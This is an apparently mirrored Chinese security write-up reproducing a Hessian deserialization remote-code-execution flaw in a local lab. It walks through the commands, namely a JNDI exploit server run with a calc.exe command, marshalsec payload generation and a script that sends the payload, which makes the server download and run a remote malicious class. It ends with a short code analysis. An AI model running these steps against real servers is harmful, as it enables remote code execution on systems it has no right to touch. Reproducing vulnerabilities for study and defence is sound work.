Hessian反序列化RCE漏洞复现及分析
source link: https://www.freebuf.com/vuls/224280.html
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
Hessian是一个轻量级的RPC框架。它基于HTTP协议传输,使用Hessian二进制序列化,对于数据包比较大的情况比较友好。
Hessian反序列化类似Java反序列化,可导致RCE,POC好像2017年就公开了,但是最新版本hessian-4.0.60.jar,经过测试也存在反序列化RCE问题。
使用marshalsec项目工具( https://github.com/mbechler/marshalsec )可生成利用payload,包括SpringCompAdv,Resin, ROME, XBean
下面使用Resin payload复现Hessian反序列化RCE漏洞
一、搭建测试环境
测试环境使用最新jar包
将HessianTest.war放到tomcat/webapp/目录下并启动tomcat
访问服务器地址 http://127.0.0.1:8080/HessianTest/hessian ,返回如下页面则说明环境正常
二、启动JNDI利用工具
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar是某大佬写得JNDI注入利用工具,项目地址 https://github.com/welk1n/JNDI-Injection-Exploit
编译后JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
执行命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc.exe -A 127.0.0.1
-C为需要执行的命令 -A为监听地址
三、生成payload
marshalsec工具地址 https://github.com/mbechler/marshalsec
编译后的marshalsec-0.0.3-SNAPSHOT-all.jar
执行命令:
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian Resin <a href="http://127.0.0.1:8180/">http://127.0.0.1:8180/</a> ExecTemplateJDK7>hession
将在当前目录生成hession的payload
注意: http://127.0.0.1:8180/ExecTemplateJDK7 为 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar工具启动后生成的恶意代码地址
四、发送payload到hessian服务器
使用hessian.py 发送序列化的payload到服务器
执行命令:
python hessian.py -u <a href="http://127.0.0.1:8080/HessianTest/hessian">http://127.0.0.1:8080/HessianTest/hessian</a> -p hessian
可以看到服务器已经去JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar上下载恶意类并执行弹出计算器
五、分析
使用hession的web项目需要配置web.xml,映射com.caucho.hessian.server.HessianServlet之相应的路径
Java客户端可以很方便的调用服务器上的方法,如下
查看com.caucho.hessian.server.HessianServlet的代码
service方法处理客户端发来的http请求,调用
调用HessianSkeleton的invoke方法,将从客户端发来的数据流中读取对象
看代码里面好像没有什么黑白名单过滤机制
通过抓取请求包,分析,构造请求包,将marshalsec工具生成的Resion payload发送给服务器
下面是构造请求包的hessian.py代码
利用图
这是发送给Hessain服务器的请求包
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK